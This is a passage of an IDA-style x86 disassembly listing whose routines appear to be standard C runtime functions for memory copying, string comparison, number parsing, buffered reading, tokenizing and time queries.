loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------


loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]


loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------


loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------


loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4CF03C
		call	sub_41D5A8
		mov	edx, dword_4CF03C
		pop	ecx
		mov	ecx, dword_4CF038
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	dword_4CF03C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------


loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, dword_4CF038
		sub	ecx, dword_4CF03C
		mov	dword_4CF03C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4CF038, ecx


loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4CF038, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: ___:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	dword_4CF03C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, dword_4CF03C
		pop	ecx


loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4CF03C
		mov	dword_4CF038, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: ___:00404AFFp
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2630000h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2820000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4CD9AA
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, word_4CD9A8
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4CD9A6
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4CD9A2
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, word_4CD9A0
		jnz	short loc_418716
		mov	eax, dword_4CD998
		jmp	short loc_41875B
; ---------------------------------------------------------------------------


loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2810000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh


loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4CD9A0
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4CD998, eax
		pop	esi


loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4CDA40
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi


loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh


loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------


loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: ___:0041ACB7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	dword_433E7C, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------


loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------


loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------


loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894


loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx


loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8


loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	dword_433E7C, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------


loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------


loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	dword_433E7C, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------


loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, off_433C70
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E


loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------


loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------


loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8


loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F


loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4CD9B4, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------


loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi


loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax


loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3773p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------


loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]


loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax


loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]


loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------


loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, dword_4CD9B0


loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------


loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx


loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------


loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4CD9B0, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------


loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
		jz	short loc_418C6A
